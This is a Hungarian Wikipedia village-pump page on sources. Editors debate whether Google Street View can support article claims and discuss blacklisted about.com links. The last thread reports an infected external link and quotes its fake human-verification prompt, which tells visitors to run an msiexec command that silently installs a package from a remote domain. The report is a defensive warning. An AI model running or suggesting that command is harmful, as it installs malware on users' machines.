Wikipédia:Kocsmafal (források)

Kocsmafal – szócikkek megfelelő forrásolásával foglalkozó szekció

Kocsmafalak  |  Hírek   |  Kezdőknek   |  Javaslatok   |  Műszaki   |  Források   |  Nyelvi   |  Fordítási segítség   |  Képek   |  Jogi   |  Egyéb 

---

Wikidata-segítségkérés    |   Sablonműhely vitalapja    |   Kategóriajavaslatok    |   Szavazás   |   Szavazási javaslatok   |   Véleménykérés

---

Magyarország-műhely az enwikin    |   magyar KF a Commonson    |   magyar társalgó a Wikidatán    |   magyar KF a Wikifajokban 

---

Wikiforrás   |   Wikikönyvek   |   Wikidézet   |   Wikiszótár

Itt tehetsz fel kérdéseket egy konkrét forrás megbízhatóságával, felhasználhatóságával kapcsolatban, illetve javasolhatsz adott témakörben megbízhatónak talált forrásokat. Arról, hogy általánosságban mi számít megbízható forrásnak, a WP:MF lapon találsz útmutatást. Az eddigi megbeszéléseken megbízhatatlannak minősített források listáját ezen az allapon olvashatod.

• Megszűnt weboldalak, már elérhetetlen források archívuma: WebArchive és WebCitation
• Források elérhetőségét jelző sabloncsalád
• Arcanum elérhetőség a Wikipedia Libraryn keresztül
• Ha egy felvetés megfelelő választ nyert, az áttekinthetőség kedvéért jelezd a róla szóló szakasz elején a {{megoldva|~~~~}} sablonnal.
• Új témát mindig a lap alján kezdj! Vagy használd a következő linket: !
• Ne felejtsd el aláírni a hozzászólásodat (a ~~~~ jelek begépelésével vagy a szerkesztőablak fölötti aláírás gomb használatával)!

Tippek a Kocsmafal hatékonyabb használatára

• Ha egy jó ötletednek nem akad pillanatnyilag megvalósítója, de többen helyeslik, vedd fel a később megvalósítandó Jó ötletek tárházába, nehogy elsüllyedjen a kegyetlenül falánk archívumban!
• Ha személyes segítőtársat szeretnél, akivel megbeszélheted szerkesztési problémáidat, akkor ide kattintva kérhetsz mentort magadnak.
• Ha nem tudod eldönteni, hogy valamely speciális probléma/feladat kire tartozik, nézz körül a különleges szerkesztői jogokkal felruházott Wikipédia-munkatársak feladatkörét ismertető lapon!
• Ha valamilyen enciklopédikus információ után kutattál a cikkekben, de nem találtad meg, fordulj a Tudakozóhoz.

Archívumok | Az archívumok tartalomjegyzéke

1 •  2 •  3 •  4 •  5 •  6 •  7 •  8 •  9 •  10 •  11 •  12 •  13 •  14

Google utcakép

Kedves Szerkesztőtársak. A mai nap tapasztaltam egy olyan észrevételt, mely szerint a Google kamerafelvétel az utcaképekkel nem minősül forrásnak. Valaki el tudja esetleg magyarázni nekem, miért is nem? Tudomásom szerint ezek valós eseményeket rögzítenek, és időbeli támpontot nyújthatnak bizonyos helyszínek átalakulásához (pl. bontások, építések stb.) egy települést illetően. (pl. 2012 előtt elbontották [xy]-objektumot). 12akd ^vita 2025. június 24., 08:26 (CEST)

A Wikipédia egyik alapvetése, hogy arról lehet szócikket írni, amit előtte hiteles, független, megbízható források már feldolgoztak. Nyilvánvaló, hogy ha valamihez nincs semmilyen más forrás, csak egy Google utcakép, az nem ilyen, tehát nem való a Wikipédiába. A "valós események", "helyszínek átalakulása" is olyan téma, aminek kell, hogy legyen független forrása az utcaképen túl ahhoz, hogy a Wikipédiában szerepeljen. Pallor ^vita 2025. június 24., 12:28 (CEST)

Ez szerintem a saját kutatás tipikus esete. – Porrima^eszmecsere 2025. június 24., 10:42 (CEST)

A kérdést inkább úgy tenném fel, hogy forrás lehet-e egy szócikkben egy-egy állításra a Google-utcakép felvétele? (pl. szerepelne egy olyan mondat, hogy [xy] épület 2022 előtt elbontásra került – ezt igazolhatja-e a Google utcakép, és ha nem, miért nem?, a gyakorlatban: ezt az épületet 2024. szept. előtt bontották el: [1]) 12akd ^vita 2025. június 24., 13:17 (CEST)

Ez olyan, mintha egy adatbázisban szereplő triviális említést akarnál erőltetni. Ez fényévekre van attól, hogy a szócikk tárgyát (alanyát) "jelentős mértékben (nem triviális említések szintjén) feldolgozták azt" a források. Így 6205 napnyi Wikipédia szerkesztői jelenlét után őszintén bátorítalak, hogy olvasd el a nevezetességi útmutatónkat. Elképesztően hatékony ismereteket nyújt témaválasztáshoz, feldolgozáshoz stb. (A félreértések elkerülése végett: nem azért linkeltem be, hogy ne olvasd el, és reagálj valamit csípőből, hanem azért, hogy elolvasd és érvényesítsd a forrásaid keresésében, a témák feldolgozásában.) Pallor ^vita 2025. június 25., 00:51 (CEST)

Pallor, te most egy másik kérdést feszegetsz, mint amit 12akd felvetett. Te arról írsz itt, hogy ha egy cikk forrása csupa fénykép, akkor annak a cikknek a tárgya nem nevezetes, hiszen egyik forrás sem dolgozta fel a cikk tárgyát jelentős mértékben. Ebben kétségtelenül igazad van.

12akd azonban egy másik kérdést tesz itt fel. Ő arra kíváncsi, lehet-e egy cikk valamely állítását egy Google utcaképpel alátámasztani. Képzeld el például, hogy a vitán felül nevezetes Gipsz Jakabról szóló cikkben szerepel az az állítás, hogy a Futrinka utca 3. számú házon emléktáblája van, és ezt az állítást egy Google utcakép támasztja alá, amelyen látható egy ajtó, mellette az emléktábla, és fölötte egy "Futrinka utca 3." feliratú tábla. Szerinted ez nem kielégítő forrás arra, hogy Gipsznek emléktáblája van az adott helyen? Mert szerintem igen. --Malatinszky ^vita 2025. június 25., 11:13 (CEST)

Malatinszky +1 (Ha már a saját szemünknek sem hiszünk, akkor minek?) Gg. Any^üzenet 2025. június 25., 11:30 (CEST)

Malatinszky +1 – VargaA ^vita 2025. június 30., 12:22 (CEST)

Akkor még egyszer nekifutok, mert valószínűleg nem jól fogalmaztam meg (vagy ha már a napokat is számon tartjuk, 21 év után gondot okoz a megértése): nem az egész szócikk létjogosultságához való forrást (és nem a nevezetességet kérdezem, amelyről az útmutató szól), hanem azt, hogy annak egy-egy állításához lehet-e forrás egy adatbázis? (És ha nem, miért nem?) Egy Mátyás királyról szóló szócikkben egy kronológiai kézikönyv adata igazolhatja ugye a halálozási idejét (még ha a könyv nem is Mátyás királyról szól, és csak 1 helyen említi a halálozási adatát, pl. egy uralkodólistában; és a Wikipédia szócikk jelentős részét más források segítségével is írták, pl. olyan könyvek alapján, amelyek Mátyás király életrajzát tartalmazzák)? hasonlóképpen egy szombathelyi épületet bemutató szócikkben (annak egy adatára vonatkoztatva) lehet-e hivatkozni a Google utcaképre, hogy eszerint ekkor és ekkor bontották el az épületet (még ha a szócikk nevezetessége nem kizárólag ezen áll, hanem más forrásokon)? a Wikipédia:Tüntesd fel forrásaidat!-ismertető (amely inkább ide vonatkozik, nem pedig a nevezetességi iránymutató) forrásként adja meg a "Weblapok és cikkek"-et. A Google térkép szerintem az. A Wikipédia:Ellenőrizhetőség lap még engedékenyen meg is jegyzi, hogy "A gyakorlatban persze nem szükséges minden egyes mondatot alátámasztani. Ez az irányelv azt követeli meg, hogy minden vitatott vagy vitatható tartalom, illetve minden egyes idézet, alá legyen támasztva direkt forráshivatkozással (ref) a szövegben, és hogy közvetlenül a megadott forrás támassza alá a kérdéses kijelentést. " Szeretném a szabályokat autómatikusan leszűkítően, szőrszálhasogatóan értelmezők figyelmébe ajánlani, fentebbi lap tetejéről, hogy "Az itt leírtak minden szerkesztő számára követendőek, de fontosabb a józan ész, mint a szabály betűje." Úgy látom, ez utóbbi fontos pontot az utóbbi időben egyre kevésbé veszik sokan figyelembe, a szabályokat mereven, betűszerint, rendpárti módon szeretnék ráerőszakolni a tartalomfejlesztésre. 12akd ^vita 2025. június 25., 08:33 (CEST)

Malatinszkynek is: értem a kérdést, de én eggyel visszább lépve, felülnézetből próbálok gondolkodni: szükség van-e ilyen gigászi iparvágányos cikkre? Feldolgozott-e a téma annyira, hogy létjogosultsága legyen a Wikipédián? Nem egy vég nélküli saját kutatásról van-e szó? Elképesztő mennyiségű forrás nélküli jelentéktelen adat halmozódott fel, pl.:

121. vonal

• iparvágány a magtárak felé
• iparvágány

152. vonal

• iparvágány a magtár felé
• iparvágány

125. vonal

• iparvágány

stb.

Miközben ami lexikális szempontból fontos lenne, vagyis az egyes iparvágányok gazdaságtörténeti jelentősége, az nemhogy nem derül ki, de a számos iparvágány teljesen egyenrangúnak mutatkozik, mind a forgalmát, mind a gazdasági jelentőségét illetően nincs semmilyen megkülönböztetés köztük. Ilyen viszonyrendszert azonban nyilvánvalóan csak akkor lehetne felállítani, ha lenne a témához egy monográfia, vagy bármi, ami ilyen szempontból feldolgozta a történetüket (nem tudom, hogy van-e ilyen, lehet, hogy igen, lehet, hogy nem). Enélkül minden csak triviális említés, beleértve a Google utcaképeket is, mely utóbbi ráadásul szerintem inkább azt bizonyítja, hogy az épület, melynek megszűntét támasztaná alá, annyira jelentéktelen, hogy még egy helyi lapban megjelent hír sem számol be az elbontásról.

Mondok egy másik példát. A Wikipédián fönt van az összes magyarországi közútról egy-egy lap (szócikkeknek azért nem nevezném őket), miközben az olyan nagyjelentőségű utakról, úttervekről nincs egy szó sem, mint például az alföldi transzverzális út. Rosszul lett a téma feldolgozva, és azt látom, hogy ez az iparvágányos téma is ebbe az irányba megy. Nem az az érdekes, hogy az összes vasútvonalról leágazó TÜZÉP-telephez, magtárhoz, gabonasilóhoz vezető iparvágánya fel legyen sorolva, hanem az, hogy a nagyjelentőségű, gazdasági (közlekedési, történelmi stb.) értékkel bíró iparvágányok - ha vannak ilyenek - a források alapján fel legyenek dolgozva.

Összességében az a tény, hogy kizárólag Google utcaképpel lehet valamit alátámasztani, számomra azt bizonyítja, hogy a téma nem jelentős, nem érdekes, nem említendő a Wikipédiában. Pallor ^vita 2025. június 25., 11:37 (CEST)

@Pallor: Azt hiszem, @Malatinszky: jól vette észre, hogy mire gondoltam. És úgy látom, hogy ő ex katedra nem vetette el (hozzám hasonlóan) a Google utcakép forrásértékűségét. Azon lehet vitatkozni, hogy nem eléggé nevezetes forrás önmagában a Google egy olyan laktanya elbontásához, amelyet más cikkek nem említenek (mondjuk ezt pont igen, de értem a fenntartást), de itt nem ez volt a kérdés. Azt is értem, hogy P. szerkesztőtárs nem örül annak, hogy kevésbé lényeges / fontos témákról (pl. [xy] önkormányzati út) van, főutakról meg esetleg nincs szócikk. Szerencsés lenne valóban, ha minden tudomány- és művészetterület fő témaköreiről lenne Wikipédia-szócikk. Én is örülnék neki. Hiánya talán abból eredhet, hogy nehezebb (teoretikus példát mondva) megírni a II. világháború történetét, mint Hitler életrajzát. Illetve, egyes területeknél kisebb téma-részek feldolgozottak tudományosan, ezek után lehet azokról írni kis-szócikkeket, majd az egészről szintetikus cikket írni (pl. vannak a neten cikkek egy-egy gyárépületről, de nincs feldolgozva az egész) – viszont itt meg jöhet az a probléma, hogy ha én írom meg a nagycikket is, ugye akkor már alapkutatással támadható vagyok, mert koncepciót adtam a kis területekről szóló netes anyagoknak azzal, hogy összegyűjtve, nagyobb témába rendeztem őket.... DE: tudtommal nincs olyan szabály, hogy a WP-t a lineárisan kell fejleszteni főtémáktól melléktémák felé. (Azaz, úgy látom, hogy P. szerkesztőtárs elvárná, esetleg szabályokkal megkövetelné, hogy úgy fejlődjön a WP, ahogy az [szerinte] ideális lenne. Nem hinném, hogy ez a jó út. A hiányok javítására minden szerkesztőnek, így neki is meg van a lehetősége és jogosultsága. Arra viszont szerintem nincs, hogy kritizálja azt „rosszul lett a téma feldolgozva”-szerű megjegyzésekkel, miért írták meg mások [xy] kis út szócikkét, és miért nem írták meg mások [zy] főútét? Én inkább megköszönném, hogy valaki időt és energiát szentelt annak, hogy megírja a kis mellékút szócikkét, és most már az interneten utánakereső találhat róla néhány adatot összegyűjtött formában. Hiszen ez sem lett volna kötelező...) –– Azt hiszem, hogy az iparvágányos lista (melyre továbbra sem vonatkozik itt és most a kérdésem) nem ilyen rész téma, és nem is szintetikus cikk (bár valóban jó lenne, ha az iparvágányok témakörének részletes gazdasági / műszaki feldolgozottsága megtörténne), hanem egy 3. kategória, a specális-adatbázis-szerű ún. listaszócikk, ami az előzőektől független rendszerben működik. (hasonló példa történelemből: szintetikus cikk: Római Birodalom, részszócikk: Trebonianus Gallus római császár [ami itt speciálisan a listaszócikknek is rész-szócikke], listaszócikk: Római császárok listája időrendben) 12akd ^vita 2025. június 25., 12:40 (CEST)

Abban biztos voltam, hogy Malatinszky válasza fog tetszeni, hiszen évek óta, valamennyi vitánkban minden olyan észrevételt ignorálsz, ami kritikai éllel szól a munkásságodról, és csak azokra figyelsz, amiről úgy hiszed, hogy téged támogatnak. Viszont azt nem hagyhatom szó nélkül, hogy kicsavarod a mondandómat. Meg kell, hogy értsd, hogy nem az a probléma, hogy nincs a gigászi nagyságú témákról szócikk, ellenben a hozzájuk mérten kisebb részterületeket lefedőkről van, hanem az a probléma, amikor gigászi témákat egyes emberek rosszul fognak meg, rosszul kezdenek feldolgozni, a nagy témafelvetések, a rááldozott idő egér méretű jelentéktelen és hiányos, az olvasók számára végső soron félrevezető cikkeket vagy inkább csak lapokat szülnek. Ezen belül érzem problémának az elsődleges források tömeges felhasználását, ami persze tudom, hogy nagyon könnyen hozzáférhető, de ilyen esetekben nem jó másra, mint megkerülni a másodlagos források felkutatását és alkalmazását.

Azzal sincs probléma, ha egy személy életrajzában a születési dátumot egy familysearch-ös anyakönyvi kép alapján javítja valaki, ha az összes többi forrás másodlagos. Azzal sincs, ha a szócikk egyetlen állítását elsődleges forrás alapján javítja valaki, de azt igen, problémának érzem, ha egy szócikk döntően ilyen forrásokra épül.

Nem írtam továbbá, hogy lennének szócikkeink a közutakról, épp azt írtam, hogy zömük a szócikk szintet sem éri el, csak lapok, tehát nincs minek örülni. Az, hogy megkövetelem, hogy az útmutatókban, irányelvekben lefektetett, a közösség által elfogadott szempontok érvényesüljenek a szócikkek írásakor, szerintem természetes, és bízom benne, hogy valahol a lelked mélyén te is a többségi álláspontot szeretnéd követni, csak nem mindig sikerül. Pallor ^vita 2025. június 26., 11:45 (CEST)

Amit itt leírsz, az ütős érv lehet egy TMB-n, de itt nem az a kérdés, hogy az iparvágányos listacikk wikiképes-e, hanem az, hogy lehet-e egy állítás forrása fénykép. -- Malatinszky ^vita 2025. június 25., 12:02 (CEST)

Oké, akkor nézzük másik szemszögből. A Wikipédia:Mi_számít_megbízható_forrásnak?#Elsődleges,_másodlagos_és_harmadlagos_források szakaszban ez olvasható: "A Wikipédia szócikkeinek megbízható másodlagos forrásokon kell alapulniuk." A Google utcakép minden, csak nem másodlagos forrás. Ez egy elsődleges forrás. Erről ez olvasható ugyanott: Az elsődleges forrásokat gyakran nehéz megfelelő módon felhasználni. Bár sok esetben megbízhatóak és hasznosak, nagyon körültekintően szabad csak használni őket, hogy elkerüljük a saját kutatás csapdáját. Ebben az esetben viszont ha jól értem, számos, az iparvágányokhoz kapcsolódó tényt csak Google utcaképpel lehet alátámasztani. Ez a lista így ebben a formában zömmel elsődleges forrásokra épül. Ugyanaz, mint amit fentebb írtam, csak más exponálásban: rosszul lett a téma feldolgozva. Egyébként igen, Szerkesztő:Balint36-ot meg kellett volna pingelni (azért újrázom a pinget, mert nem tudom, hogy az anon pingelés hatékony-e?) Pallor ^vita 2025. június 25., 12:13 (CEST)

+: a Google utcakép miért nem „hiteles, független, megbízható”? 12akd ^vita 2025. június 24., 13:20 (CEST)

Megbízható, de értelmezni is kell, és a konkrét témában már volt vitád @Balint36:-tal arról, hogy helyesen értelmezted-e akár a helyszínen látottakat is. Bináris ^ide Kelt: Wikipédia,  2025. június 25., 12:26 (CEST)

Szerintem fair dolog lett volna megpingelni @Balint36: szerktársunkat, hogy nyomon tudja követni, esetleg hozzá tudjon szólni (ha már az ő és a jelen szakaszt elindító szerkesztő között ment a vita erről).2A01:36D:109:24A9:B5A9:B44F:B3F8:4131 (vita) 2025. június 25., 11:51 (CEST)

Tisztázzunk valamit. A Google Street View és a Maps jellege és a saját kutatás irányelve miatt állapítottam meg azt, hogy a listaszócikkben alkalmatlan alátámasztani. (A pingeket köszönöm, az anoni is működött.)

Tekintettel, hogy az Utcaképben pillanatképek/snapshotok között lehet csak váltogatni, így egy esemény elkapására/rögzítésére alkalmatlan. Példánál maradva nem állapítható meg a felvétel alapján, hogy Csaba utcánál az átjáró 2021/2022-ben került elbontásra, az ugyanúgy megtörténhetett volna 2024. augusztus 31-én, vagy 2022. szeptember 1-jén is – ha meg nem tudjuk biztosra, és elkezdünk találgatni, az már saját munka. A Google Térkép ugyanez, csak a franc se tudja, hogy az aktuális területen milyen felvételek vannak.

Ha meg valahogyan csak egy képpel próbáljuk alátámasztani – legyen az fénykép, Google Utcakép, vagy műholdkép –, akkor az csak egy valamit tud igazolni: sín, létezik (már ha azóta el nem lopták), pont. Az, hogy te esetleg látod benne a sebességet, tengelyterhelést, megnevezést, használati állapotot stb., az már a kép alapján történt saját kutatásod, ami vagy bejön, vagy nem. Hacsak az elágazó kitérőnél nincs kitűzve egy tábla ilyen villogó vegasos fényfüzérekkel, hogy „Üdvözöljük az IKR Agrár enyingi sajátcélú vasúti pályahálózatán! A vasúti pálya és tartozékai jelen pillanatban üzemszünet alatt állnak.”, akkor te valójában nem tudsz róla semmit, és márpedig tudtommal nincs ilyen kitűzve a vasúton. Saját kutatást követő téves megállapításból következik az is, hogy Utcaképre/Térképre ránézést követően rendszerint jönnek a hibás adatok, mondjuk rendszeresen, hogy az a csóri SCVPH mégis milyen elnevezéssel rendelkezik, vagy hol található. És ilyenkor nézek nagyokat a nyilvánosan elérhető nyilvántartás mellett (hogy miért nem lett ez felhasználva, és miért kell Street View alapján találgatni, az rejtély), hogy És ezt miből számolta ki? Matematikus ön, vagy miből számolta ki?"

TL;DR Azért alkalmatlan, mert értelmezni is tudni kell, ami vagy lehetetlen, vagy nem sikerül. – balint36 ^{ügyfélszolgálat} 2025. június 26., 12:56 (CEST)

Tehát végeredményben mondhatjuk, hogy nem maga az utcakép alkalmatlan forrásnak, csak 12akd nem jól használja. Ez szöveges forrással is előfordulhat. Bináris ^ide Kelt: Wikipédia,  2025. július 1., 00:10 (CEST)

Van még egy probléma az utcaképpel: az, hogy rendszeresen frissítik. Tehát mondjuk van egy állítás, hogy a gyárat valamilyen időpont előtt lebontották. Ilyenkor linkelsz egy utcaképet, amin abban az időpontban egy üres telek van, az így jelenleg (legalábbis szerintem) elfogadható forrás. Viszont ha évek múlva (és egy frissítéssel később) egy olvasó megnyitja a linket, ott már lehet, hogy egy újonnan épült gyárat fog látni, ami akár összetéveszthető a korábbival, úgyhogy jó kis kavarodás lesz. Szóval ha nem tudsz permalinket berakni, ami a jövőben is mindig ugyanazt az üres telket mutatja, akkor az utcaképet hosszútávra nem lehet használni. – Tilar Vehulor ^vita 2025. június 29., 15:59 (CEST)

Ez nem olyan nagy kihívás: itt van például egy Google utcakép a budapesti Kossuth térről 2011-ből és egy másik 2024-ből. Ez a képpár például alkalmas lehet arra, hogy alátámassza a "2011 és 2024 között a Kossuth teret szegélyező fákat eltávolították" állítást. -- Malatinszky ^vita 2025. június 30., 12:18 (CEST)

Szeretnék egy kis segítséget kérni a jegyzetekkel.

Zordon. Az eddigi legteljesebb, és legszemélyesebb cikkem, mert a rajzfilm meghatározó része volt a gyermekkoromnak, és azon túl is.

Már csak az angol cikkben szereplő 162 hivatkozást kellene berakni, viszont néhányat nem enged be a rendszer. 143-at már beraktam a 162-ből. Balabenc ^vita 2025. június 27., 14:13 (CEST)

Mit nem enged be? (Nowikik között bemutatható.) Mi az üzenet? Vépi ^vita 2025. június 27., 14:29 (CEST)

About.com. Az innen származó két cikk a rendszer szerint spam-os. Balabenc ^vita 2025. június 27., 19:48 (CEST)

A néhány nem hasznos információ. Lehet, hogy feketelistásak, de konkrét példákat kellene mondanod. Bináris ^ide Kelt: Wikipédia,  2025. június 27., 14:57 (CEST)

About.com. Az innen származó két cikk a rendszer szerint spam-os. Balabenc ^vita 2025. június 27., 19:48 (CEST)

Az about.com globális feketelistán van, azért nem tudod betenni. Rpi153 ^vita 2025. június 29., 18:06 (CEST)

Akkor azon kívül elkészült a teljes fordítás: Zordon. Balabenc ^vita 2025. június 30., 11:07 (CEST)

Vírusos külső webhely

A Nagy Medve csillagkép (vitalap | | hivatk | | | | | | | ) olvasása során találtam egy hivatkozást, ami nagyon gyanúsan viselkedett, ezt: fschnell <dot> net/WordPress/?s&paged=6 A hivatkozás alapból egy blogbejegyzésre mutat, ami elsőre felvillan az ablakban, majd eltűnik, és egy másik url-en (security.flmesecgaurd <dot> com stb.) egy "Verify you are human ..." típusú oldalhoz hasonló form jelenik meg. A kocka kipipálásakor egy utasítássorozat jelenik meg, amelynek során azt kéri, hogy a windows parancssorba másoljuk be a msiexec /i https://fermigz.com /qn <sok space> szöveget, nyomjunk entert és várjuk meg az eredményt. Magát az eredeti bloghivatkozást megvizsgálva a https://sitecheck.sucuri.net/ weboldalon, az eredmény szerint kritikus, kártevővel fertőzött: Known javascript malware: malware?fake_update.16.2

A hivatkozást a szövegben kicseréltem egy másikra, és az fschnell-es url nem is szerepel másik wp oldalon, de esetleg fel kéne venni valamilyen feketelistára, a flmesecgaurd-dal együtt. Pkᑌᘗᖾ^{ᐁᐧᐦᑕᒪᑫᐃᐧᐣ} 2025. július 2., 12:04 (CEST)